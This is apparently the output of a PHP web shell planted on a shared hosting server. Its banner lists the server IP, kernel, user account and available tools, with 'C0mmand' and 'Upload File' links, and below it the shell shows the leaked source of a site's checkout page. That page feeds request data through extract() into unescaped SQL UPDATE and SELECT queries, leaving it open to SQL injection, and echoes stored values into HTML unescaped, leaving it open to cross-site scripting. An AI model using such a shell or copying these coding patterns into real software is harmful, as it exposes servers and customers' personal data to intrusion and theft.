Server IP : 103.53.40.154 / Your IP : 3.142.54.136 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/bsaec.in/../public_html/.well-known/../../lizatilessolution.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("site-header.php"); ?> <?php if($_SESSION['login_id']=="" && empty($_SESSION['login_id'])) {?> <script> swal({title: "Please login first !", text: "",showConfirmButton: true, allowEscapeKey : false, allowOutsideClick: false, type: "warning"}, function(){ window.location.href="<?=$site_url?>/login.html"; } ); </script> <?}?> <?php $alert_msg=""; if(isset($_POST['Submit_details'])) { @extract($_REQUEST); /*echo $comment; echo $ship_name; echo $ship_email; echo $ship_company; echo $ship_contact; echo $ship_address; echo $ship_landmark; echo $ship_country; echo $ship_state; echo $ship_city; echo $ship_post_code; echo $same_billing_address; echo $billing_name; echo $billing_email; echo $billing_company; echo $billing_contact; echo $billing_address; echo $billing_landmark; echo $billing_country; echo $billing_state; echo $billing_city; echo $billing_post_code; */ $sql_details=""; if($same_billing_address=="Yes") { db_query("update tbl_registration set reg_billing_address_same='Yes' where reg_id='$_SESSION[login_id]'"); $sql_details="update tbl_registration set reg_shipping_name='$ship_name', reg_shipping_email='$ship_email', reg_shipping_company='$ship_company', reg_shipping_mobile_no='$ship_contact', reg_shipping_address='$ship_address', reg_shipping_landmark='$ship_landmark', reg_shipping_country='$ship_country', reg_shipping_state='$ship_state', reg_shipping_city='$ship_city', reg_shipping_zip_code='$ship_post_code', reg_billing_name='', reg_billing_email='', reg_billing_company='', reg_billing_mobile_no='', reg_billing_address='', reg_billing_landmark='', reg_billing_country='', reg_billing_state='', reg_billing_city='', reg_billing_zip_code='' where reg_id='$_SESSION[login_id]' "; } else { db_query("update tbl_registration set reg_billing_address_same='No' where reg_id='$_SESSION[login_id]'"); $sql_details="update tbl_registration set reg_shipping_name='$ship_name', reg_shipping_email='$ship_email', reg_shipping_company='$ship_company', reg_shipping_mobile_no='$ship_contact', reg_shipping_address='$ship_address', reg_shipping_landmark='$ship_landmark', reg_shipping_country='$ship_country', reg_shipping_state='$ship_state', reg_shipping_city='$ship_city', reg_shipping_zip_code='$ship_post_code', reg_billing_name='$billing_name', reg_billing_email='$billing_email', reg_billing_company='$billing_company', reg_billing_mobile_no='$billing_contact', reg_billing_address='$billing_address', reg_billing_landmark='$billing_landmark', reg_billing_country='$billing_country', reg_billing_state='$billing_state', reg_billing_city='$billing_city', reg_billing_zip_code='$billing_post_code' where reg_id='$_SESSION[login_id]' "; } if(db_query($sql_details)) { $alert_msg="done"; $_SESSION['payment_method']="COD"; $_SESSION['comment']=$comment; ?> <script> // alert("Thank you! your order has been placed."); window.location.href="create_order.php"; </script> <?} else { $alert_msg="error"; } } ?> <nav class="breadcrumb" aria-label="breadcrumbs" style="margin-top: 90px;"> <h1> Checkout</h1> <a href="<?=$site_url?>" title="Back to the home">Home</a> <span aria-hidden="true" class="breadcrumb__sep">/</span> <span> Checkout</span> </nav> <div class="dt-sc-hr-invisible-large"></div> <style> .checkout-row { display: -ms-flexbox; /* IE10 */ display: flex; -ms-flex-wrap: wrap; /* IE10 */ flex-wrap: wrap; margin: 0 -16px; } .col-25 { -ms-flex: 25%; /* IE10 */ flex: 25%; } .col-50 { -ms-flex: 50%; /* IE10 */ flex: 50%; } .col-75 { -ms-flex: 75%; /* IE10 */ flex: 75%; } .col-25, .col-50, .col-75 { padding: 0 16px; } .checkout-container { background-color: #f2f2f2; padding: 5px 20px 15px 20px; border: 1px solid lightgrey; border-radius: 3px; } .checkout-input { width: 100%; margin-bottom: 20px; padding: 12px; border: 1px solid #ccc; border-radius: 3px; } .label { margin-bottom: 10px; display: block; } .icon-container { margin-bottom: 20px; padding: 7px 0; font-size: 24px; } .checkout-btn { background-color: #4CAF50; color: white; padding: 12px; margin: 10px 0; border: none; width: 100%; border-radius: 3px; cursor: pointer; font-size: 17px; } .checkout-btn:hover { background-color: #45a049; } .a { color: #2196F3; } .hr { border: 1px solid lightgrey; } span.price { float: right; color: grey; } /* Responsive layout - when the screen is less than 800px wide, make the two columns stack on top of each other instead of next to each other (also change the direction - make the "cart" column go on top) */ @media (max-width: 800px) { .checkout-row { flex-direction: column-reverse; } .col-25 { margin-bottom: 20px; } } </style> <style> #error_style_ship{ color:white; font-size:13px; font-family:arial; background-color:#c32323; border-radius:7px; box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); box-sizing: border-box; padding:7px; } .error_name_ship{ display:none; } .error_email_ship{ display:none; } .error_company_ship{ display:none; } .error_contact_ship{ display:none; } .error_address_ship{ display:none; } .error_country_ship{ display:none; } .error_state_ship{ display:none; } .error_city_ship{ display:none; } .error_post_code_ship{ display:none; } /*////////// BILLING ERROR STYLE ///////////////*/ .error_name_billing{ display:none; } .error_email_billing{ display:none; } .error_company_billing{ display:none; } .error_contact_billing{ display:none; } .error_address_billing{ display:none; } .error_country_billing{ display:none; } .error_state_billing{ display:none; } .error_city_billing{ display:none; } .error_post_code_billing{ display:none; } </style> <?php $account_sql=db_query("select * from tbl_registration where 1 and reg_status='Active' and reg_id='$_SESSION[login_id]'"); $account_data=mysqli_fetch_array($account_sql); ?> <div class="checkout-row" style="padding:20px;"> <div class="col-75"> <div class="checkout-container"> <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkValidationShipping();"> <div class="checkout-row"> <div class="col-50"> <h3>Shipping Address</h3> <div class="checkout-row"> <div class="col-50"> <label class="label" for="ship_name">Full Name *</label> <input class="checkout-input" type="text" name="ship_name" id="ship_name" onkeyup="errNameShip();" <?php if($account_data['reg_shipping_name']!=""){?> value="<?=$account_data['reg_shipping_name']?>" <?}else{?> value="<?=$account_data['reg_name']?>" <?}?>> <p id="error_style_ship" class="error_name_ship" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="ship_company">Company Name (Optional)</label> <input class="checkout-input" type="text" name="ship_company" id="ship_company" onkeyup="errCompanyShip();" value="<?=$account_data['reg_shipping_company']?>"> <p id="error_style_ship" class="error_company_ship" style="margin-top:10px; width:260px;"></p> </div> </div> <div class="checkout-row"> <div class="col-50"> <label class="label" for="ship_contact">Mobile No. *</label> <input class="checkout-input" type="text" maxlength="10" name="ship_contact" id="ship_contact" onkeyup="errContactShip();" <?php if($account_data['reg_shipping_mobile_no']!=""){?> value="<?=$account_data['reg_shipping_mobile_no']?>" <?}else{?> value="<?=$account_data['reg_mobile_no']?>" <?}?>> <p id="error_style_ship" class="error_contact_ship" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="ship_email">Email *</label> <input class="checkout-input" type="text" name="ship_email" id="ship_email" onkeyup="errEmailShip();" <?php if($account_data['reg_shipping_email']!=""){?> value="<?=$account_data['reg_shipping_email']?>" <?}else{?> value="<?=$account_data['reg_email']?>" <?}?>> <p id="error_style_ship" class="error_email_ship" style="margin-top:10px; width:260px;"></p> </div> </div> <label class="label" for="ship_address"> Address (House number and street name)*</label> <input class="checkout-input" type="text" type="text" name="ship_address" id="ship_address" onkeyup="errAddressShip();" <?php if($account_data['reg_shipping_address']!=""){?> value="<?=$account_data['reg_shipping_address']?>" <?}else{?> value="<?=$account_data['reg_address']?>" <?}?>> <p id="error_style_ship" class="error_address_ship" style="margin-top:10px; width:260px;"></p> <label class="label" for="ship_landmark"> Apartment, Landmark etc. (Optional)</label> <input class="checkout-input" type="text" name="ship_landmark" id="ship_landmark" value="<?=$account_data['reg_shipping_landmark']?>"> <div class="checkout-row"> <div class="col-50"> <label class="label" for="ship_country">Country *</label> <select class="checkout-input" class="niceselect_option" name="ship_country" id="ship_country" onchange="selectCountryShip(this.value);"> <option value="">--- Choose Country ---</option> <?php $sql_country=db_query("select * from countries order by id asc"); while($country_data=mysqli_fetch_array($sql_country)) {?> <option value="<?=$country_data['name']?>" <?php if($account_data['reg_shipping_country']!=""){?> <?php if($account_data['reg_shipping_country']==$country_data['name']){ echo "selected"; }?> <?}else{ if($account_data['reg_country']==$country_data['name']){ echo "selected"; } }?> ><?=$country_data['name']?></option> <?}?> </select> <p id="error_style_ship" class="error_country_ship" style="width:260px;"></p> </div> <div class="col-50" id="show_state_ship"> <label class="label" for="ship_state">State *</label> <select class="checkout-input" class="niceselect_option" name="ship_state" id="ship_state" onchange="selectStateShip(this.value);"> <option value="">--- Choose State ---</option> <?php $sql_state=db_query("select * from states order by id asc"); while($state_data=mysqli_fetch_array($sql_state)) {?> <option value="<?=$state_data['name']?>" <?php if($account_data['reg_shipping_state']!=""){?> <?php if($account_data['reg_shipping_state']==$state_data['name']){ echo "selected"; }?> <?}else{ if($account_data['reg_state']==$state_data['name']){ echo "selected"; } }?> ><?=$state_data['name']?></option> <?} ?> </select> <p id="error_style_ship" class="error_state_ship" style="margin-top:10px; width:260px;"></p> </div> </div> <div class="checkout-row"> <div class="col-50"> <label class="label" for="ship_city">City *</label> <input class="checkout-input" type="text" name="ship_city" id="ship_city" onkeyup="errCityShip();" <?php if($account_data['reg_shipping_city']!=""){?> value="<?=$account_data['reg_shipping_city']?>" <?}else{?> value="<?=$account_data['reg_city']?>" <?}?>> <p id="error_style_ship" class="error_city_ship" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="ship_post_code">Zipcode *</label> <input class="checkout-input" type="text" name="ship_post_code" id="ship_post_code" onkeyup="errPostCodeShip();" <?php if($account_data['reg_shipping_zip_code']!=""){?> value="<?=$account_data['reg_shipping_zip_code']?>" <?}else{?> value="<?=$account_data['reg_zip_code']?>" <?}?>> <p id="error_style_ship" class="error_post_code_ship" style="margin-top:10px; width:260px;"></p> </div> </div> </div> </div> <label class="label"> <input value="Yes" name="same_billing_address" type="checkbox" onchange="showAddress();" id="same_billing_address" <?php if($account_data['reg_billing_address_same']=="Yes"){ echo "checked"; }?>> Billing address is not different? </label> <div id="address_div" <?php if($account_data['reg_billing_address_same']=="Yes"){?> style="display: none;"<?}?> > <hr> <div class="checkout-row"> <div class="col-50"> <h3>Billing Address</h3> <div class="checkout-row"> <div class="col-50"> <label class="label" for="billing_name">Full Name *</label> <input class="checkout-input" type="text" name="billing_name" id="billing_name" onkeyup="errNameBilling();" value="<?=$account_data['reg_billing_name']?>"> <p id="error_style_ship" class="error_name_billing" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="billing_company">Company Name (Optional)</label> <input class="checkout-input" type="text" name="billing_company" id="billing_company" onkeyup="errCompanyBilling();" value="<?=$account_data['reg_billing_company']?>"> <p id="error_style_ship" class="error_company_billing" style="margin-top:10px; width:260px;"></p> </div> </div> <div class="checkout-row"> <div class="col-50"> <label class="label" for="billing_contact">Mobile No. *</label> <input class="checkout-input" type="text" maxlength="10" name="billing_contact" id="billing_contact" onkeyup="errContactBilling();" value="<?=$account_data['reg_billing_mobile_no']?>"> <p id="error_style_ship" class="error_contact_billing" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="billing_email">Email *</label> <input class="checkout-input" type="text" name="billing_email" id="billing_email" onkeyup="errEmailBilling();" value="<?=$account_data['reg_billing_email']?>"> <p id="error_style_ship" class="error_email_billing" style="margin-top:10px; width:260px;"></p> </div> </div> <label class="label" for="billing_address"> Address *</label> <input class="checkout-input" type="text" name="billing_address" id="billing_address" onkeyup="errAddressBilling();" value="<?=$account_data['reg_billing_address']?>"> <p id="error_style_ship" class="error_address_billing" style="margin-top:10px; width:260px;"></p> <label class="label" for="billing_landmark"> Apartment, Landmark etc. (Optional)</label> <input class="checkout-input" type="text" name="billing_landmark" id="billing_landmark" value="<?=$account_data['reg_billing_landmark']?>"> <div class="checkout-row"> <div class="col-50"> <label class="label" for="billing_country">Country *</label> <select class="checkout-input" class="niceselect_option" name="billing_country" id="billing_country" onchange="selectCountryBilling(this.value);"> <option value="">--- Choose Country ---</option> <?php $sql_country=db_query("select * from countries order by id asc"); while($country_data=mysqli_fetch_array($sql_country)) {?> <option value="<?=$country_data['name']?>" <?php if($account_data['reg_billing_country']==$country_data['name']){ echo "selected";}?> ><?=$country_data['name']?></option> <?} ?> </select> <p id="error_style_ship" class="error_country_billing" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50" id="show_state_billing"> <label class="label" for="billing_state">State *</label> <select class="checkout-input" class="niceselect_option" name="billing_state" id="billing_state" onchange="selectStateBilling(this.value);"> <option value="">--- Choose State ---</option> <?php $sql_state=db_query("select * from states order by id asc"); while($state_data=mysqli_fetch_array($sql_state)) {?> <option value="<?=$state_data['name']?>" <?php if($account_data['reg_billing_state']==$state_data['name']){echo "selected";}?> ><?=$state_data['name']?></option> <?} ?> </select> <p id="error_style_ship" class="error_state_billing" style="margin-top:10px; width:260px;"></p> </div> </div> <div class="checkout-row"> <div class="col-50"> <label class="label" for="billing_city">City</label> <input class="checkout-input" type="text" name="billing_city" id="billing_city" onkeyup="errCityBilling();" value="<?=$account_data['reg_billing_city']?>"> <p id="error_style_ship" class="error_city_billing" style="margin-top:10px; width:260px;"></p> </div> <div class="col-50"> <label class="label" for="billing_post_code">Zip</label> <input class="checkout-input" type="text" name="billing_post_code" id="billing_post_code" onkeyup="errPostCodeBilling();" value="<?=$account_data['reg_billing_zip_code']?>"> <p id="error_style_ship" class="error_post_code_billing" style="margin-top:10px; width:260px;"></p> </div> </div> </div> </div> </div> <button type="submit" name="Submit_details" id="Submit_details" class="checkout-btn"> Confirm Order </button> </form> </div> </div> <div class="col-25"> <div class="checkout-container"> <h4>Cart <span class="price" style="color:black"><i class="fa fa-shopping-cart"></i> <b> <?=db_scalar("select count(bskt_id) from tbl_basket where bskt_session_id='$_SESSION[cart_session_id]'")?></b></span></h4> <?php $sub_total_cart=0; $tax_cart=0; $total_cart=0; $i=0; $cart_sql=db_query("select * from tbl_basket where bskt_session_id='$_SESSION[cart_session_id]'"); while($cart_res=mysqli_fetch_array($cart_sql)) { $i++; $sub_total_cart=$sub_total_cart+$cart_res['bskt_prd_subtotal']; ?> <p><a href="<?=$site_url?>/product-details.html?id=<?=$cart_res['bskt_prd_id']?>" target="_blank" class="a"><?=$cart_res['bskt_prd_name']?> x <?=$cart_res['bskt_prd_qnty']?></a> <span class="price"><i class="fa fa-rupee"></i> <?=$cart_res['bskt_prd_subtotal']?></span></p> <?}?> <hr class="hr"> <p>Sub Total <span class="price" style="color:black"><b><i class="fa fa-rupee"></i> <?=$sub_total_cart?></b></span></p> <p>Tax <span class="price" style="color:black"><b><i class="fa fa-rupee"></i> <?php echo $tax_cart=calculate_tax($sub_total_cart,$compDATA["admin_gst_rate"]); $total_cart=$tax_cart+$sub_total_cart; $_SESSION['payable_amount']=$total_cart; $_SESSION['tax']=$tax_cart; $_SESSION['sub_total']=$sub_total_cart; ?></b></span></p> <p style="color:#e81a46;">Total Amount <span class="price" style="color:black"><b style="color:#e81a46;"><i class="fa fa-rupee"></i> <?=$total_cart?></b></span></p> </div> </div> </div> <script> <?php if($account_data['reg_billing_address_same']=="Yes"){?> var show_bill_address_con="hide"; <?}else{?> var show_bill_address_con="show"; <?}?> function selectCountryShip(country_name) { $.ajax({ type: "POST", url: "ajax_state.php", data: {country_name:country_name,type:"shipping"}, cache: false, success: function(result){ document.getElementById('show_state_ship').innerHTML=result; } }); if(country_name!="") { $('#ship_country').css({"border-color":"black"}); $('.error_country_ship').css({"display":"none"}); } } //<!-- --------------------------SHIPPING COUNTRY MASTER END ------------------- --> //<!-- --------------------------SHIPPING ERROR HIDE START------------------- --> function selectStateShip(state_name) { if(state_name!="") { $('#ship_state').css({"border-color":"black"}); $('.error_state_ship').css({"display":"none"}); } } </script> <!-- --------------------------SHIPPING STATE ERROR HIDE END ------------------- --> <script> function showAddress() { var x = document.getElementById("same_billing_address"); if(x.checked) { $("#address_div").hide(500); show_bill_address_con="hide"; } else { $("#address_div").show(500); show_bill_address_con="show"; } } </script> <!-- --------------------------BILLING COUNTRY MASTER START------------------- --> <script> function selectCountryBilling(country_name) { $.ajax({ type: "POST", url: "ajax_state.php", data: {country_name:country_name,type:"billing"}, cache: false, success: function(result){ document.getElementById('show_state_billing').innerHTML=result; } }); if(country_name!="") { $('#billing_country').css({"border-color":"black"}); $('.error_country_billing').css({"display":"none"}); } } //<!-- --------------------------BILLING COUNTRY MASTER END ------------------- --> //<!-- --------------------------BILLING ERROR HIDE START------------------- --> function selectStateBilling(state_name) { if(state_name!="") { $('#billing_state').css({"border-color":"black"}); $('.error_state_billing').css({"display":"none"}); } } </script> <!-- --------------------------BILLING STATE ERROR HIDE END ------------------- --> <script> function trimfield(str) { return str.replace(/^\s+|\s+$/g,''); } function checkValidationShipping(){ var ship_name=document.getElementById("ship_name"); var ship_email=document.getElementById("ship_email"); var ship_company=document.getElementById("ship_company"); var ship_contact=document.getElementById("ship_contact"); var ship_address=document.getElementById("ship_address"); var ship_country=document.getElementById("ship_country"); var ship_state=document.getElementById("ship_state"); var ship_city=document.getElementById("ship_city"); var ship_post_code=document.getElementById("ship_post_code"); var billing_name=document.getElementById("billing_name"); var billing_email=document.getElementById("billing_email"); var billing_company=document.getElementById("billing_company"); var billing_contact=document.getElementById("billing_contact"); var billing_address=document.getElementById("billing_address"); var billing_country=document.getElementById("billing_country"); var billing_state=document.getElementById("billing_state"); var billing_city=document.getElementById("billing_city"); var billing_post_code=document.getElementById("billing_post_code"); if(ship_name.value==""){ $('#ship_name').css({"border-color":"red"}); ship_name.focus(); $('.error_name_ship').fadeIn('slow'); $(".error_name_ship").html("Please enter your name !"); return false; } if(ship_name.value.length<=3){ $('#ship_name').css({"border-color":"red"}); ship_name.focus(); $(".error_name_ship").html("Name should be greater than 3 alphabet !"); $('.error_name_ship').fadeIn('slow'); return false; } if (/[0-9]/g.test(ship_name.value)) { $('#ship_name').css({"border-color":"red"}); ship_name.focus(); $(".error_name_ship").html("Use alphabet only !"); $('.error_name_ship').fadeIn('slow'); return false; } if (!/[A-Za-z\s]/g.test(ship_company.value) && ship_company.value!="") { $('#ship_company').css({"border-color":"red"}); ship_company.focus(); $(".error_company_ship").html("Value should not be numeric !"); $('.error_company_ship').fadeIn('slow'); return false; } if(ship_contact.value==""){ $('#ship_contact').css({"border-color":"red"}); ship_contact.focus(); $(".error_contact_ship").html("Please enter contact number !"); $('.error_contact_ship').fadeIn('slow'); return false; } if(isNaN(ship_contact.value)){ $('#ship_contact').css({"border-color":"red"}); ship_contact.focus(); $(".error_contact_ship").html("Please enter numeric value only !"); $('.error_contact_ship').fadeIn('slow'); return false; } if(ship_contact.value.length<10 || ship_contact.value.length>10){ $('#ship_contact').css({"border-color":"red"}); ship_contact.focus(); $(".error_contact_ship").html("Contact number should be 10 digit long !"); $('.error_contact_ship').fadeIn('slow'); return false; } if(ship_email.value==""){ $('#ship_email').css({"border-color":"red"}); ship_email.focus(); $(".error_email_ship").html("Please enter your email !"); $('.error_email_ship').fadeIn('slow'); return false; } if(!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(ship_email.value)){ $('#ship_email').css({"border-color":"red"}); ship_email.focus(); $(".error_email_ship").html("Please enter valid email address !"); $('.error_email_ship').fadeIn('slow'); return false; } if(ship_address.value==""){ $('#ship_address').css({"border-color":"red"}); ship_address.focus(); $(".error_address_ship").html("Please enter address !"); $('.error_address_ship').fadeIn('slow'); return false; } if(ship_country.value==""){ $('#ship_country').css({"border-color":"red"}); ship_country.focus(); $(".error_country_ship").html("Please select country !"); $('.error_country_ship').fadeIn('slow'); return false; } if(ship_state.value==""){ $('#ship_state').css({"border-color":"red"}); ship_state.focus(); $(".error_state_ship").html("Please select state "); $('.error_state_ship').fadeIn('slow'); return false; } if(ship_city.value==""){ $('#ship_city').css({"border-color":"red"}); ship_city.focus(); $(".error_city_ship").html("Please enter city !"); $('.error_city_ship').fadeIn('slow'); return false; } if(ship_post_code.value==""){ $('#ship_post_code').css({"border-color":"red"}); ship_post_code.focus(); $(".error_post_code_ship").html("Please postcode !"); $('.error_post_code_ship').fadeIn('slow'); return false; } //////// BILLING VALIDATION SECTION START ///////////////// if(show_bill_address_con=="show") { if(billing_name.value==""){ $('#billing_name').css({"border-color":"red"}); billing_name.focus(); $('.error_name_billing').fadeIn('slow'); $(".error_name_billing").html("Please enter your name !"); return false; } if(billing_name.value.length<=3){ $('#billing_name').css({"border-color":"red"}); billing_name.focus(); $(".error_name_billing").html("Name should be greater than 3 alphabet !"); $('.error_name_billing').fadeIn('slow'); return false; } if (/[0-9]/g.test(billing_name.value)) { $('#billing_name').css({"border-color":"red"}); billing_name.focus(); $(".error_name_billing").html("Use alphabet only !"); $('.error_name_billing').fadeIn('slow'); return false; } if (!/[A-Za-z\s]/g.test(billing_company.value) && billing_company.value!="") { $('#billing_company').css({"border-color":"red"}); billing_company.focus(); $(".error_company_billing").html("Value should not be numeric !"); $('.error_company_billing').fadeIn('slow'); return false; } if(billing_contact.value==""){ $('#billing_contact').css({"border-color":"red"}); billing_contact.focus(); $(".error_contact_billing").html("Please enter contact number !"); $('.error_contact_billing').fadeIn('slow'); return false; } if(isNaN(billing_contact.value)){ $('#billing_contact').css({"border-color":"red"}); billing_contact.focus(); $(".error_contact_billing").html("Please enter numeric value only !"); $('.error_contact_billing').fadeIn('slow'); return false; } if(billing_contact.value.length<10 || billing_contact.value.length>10){ $('#billing_contact').css({"border-color":"red"}); billing_contact.focus(); $(".error_contact_billing").html("Contact number should be 10 digit long !"); $('.error_contact_billing').fadeIn('slow'); return false; } if(billing_email.value==""){ $('#billing_email').css({"border-color":"red"}); billing_email.focus(); $(".error_email_billing").html("Please enter your email !"); $('.error_email_billing').fadeIn('slow'); return false; } if(!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(billing_email.value)){ $('#billing_email').css({"border-color":"red"}); billing_email.focus(); $(".error_email_billing").html("Please enter valid email address !"); $('.error_email_billing').fadeIn('slow'); return false; } if(billing_address.value==""){ $('#billing_address').css({"border-color":"red"}); billing_address.focus(); $(".error_address_billing").html("Please enter address !"); $('.error_address_billing').fadeIn('slow'); return false; } if(billing_country.value==""){ $('#billing_country').css({"border-color":"red"}); billing_country.focus(); $(".error_country_billing").html("Please select country !"); $('.error_country_billing').fadeIn('slow'); return false; } if(billing_state.value==""){ $('#billing_state').css({"border-color":"red"}); billing_state.focus(); $(".error_state_billing").html("Please select state !"); $('.error_state_billing').fadeIn('slow'); return false; } if(billing_city.value==""){ $('#billing_city').css({"border-color":"red"}); billing_city.focus(); $(".error_city_billing").html("Please enter city !"); $('.error_city_billing').fadeIn('slow'); return false; } if(billing_post_code.value==""){ $('#billing_post_code').css({"border-color":"red"}); billing_post_code.focus(); $(".error_post_code_billing").html("Please postcode !"); $('.error_post_code_billing').fadeIn('slow'); return false; } } ////////////////// BILLING VALIDATION SECTION END/////////////// } function errNameShip(){ $('#ship_name').css({"border-color":"black"}); $('.error_name_ship').css({"display":"none"}); } function errEmailShip(){ $('#ship_email').css({"border-color":"black"}); $('.error_email_ship').css({"display":"none"}); } function errCompanyShip(){ $('#ship_company').css({"border-color":"black"}); $('.error_company_ship').css({"display":"none"}); } function errContactShip(){ $('#ship_contact').css({"border-color":"black"}); $('.error_contact_ship').css({"display":"none"}); } function errAddressShip(){ $('#ship_address').css({"border-color":"black"}); $('.error_address_ship').css({"display":"none"}); } function errCityShip(){ $('#ship_city').css({"border-color":"black"}); $('.error_city_ship').css({"display":"none"}); } function errPostCodeShip(){ $('#ship_post_code').css({"border-color":"black"}); $('.error_post_code_ship').css({"display":"none"}); } ////////////////////////////////////// BILLING ONKEY VALIDATION START //////////////////////// function errNameBilling(){ $('#billing_name').css({"border-color":"black"}); $('.error_name_billing').css({"display":"none"}); } function errEmailBilling(){ $('#billing_email').css({"border-color":"black"}); $('.error_email_billing').css({"display":"none"}); } function errCompanyBilling(){ $('#billing_company').css({"border-color":"black"}); $('.error_company_billing').css({"display":"none"}); } function errContactBilling(){ $('#billing_contact').css({"border-color":"black"}); $('.error_contact_billing').css({"display":"none"}); } function errAddressBilling(){ $('#billing_address').css({"border-color":"black"}); $('.error_address_billing').css({"display":"none"}); } function errCityBilling(){ $('#billing_city').css({"border-color":"black"}); $('.error_city_billing').css({"display":"none"}); } function errPostCodeBilling(){ $('#billing_post_code').css({"border-color":"black"}); $('.error_post_code_billing').css({"display":"none"}); } ////////////////////////////////////// BILLING ONKEY VALIDATION END ////////////////// </script> <?php include("site-footer.php"); ?>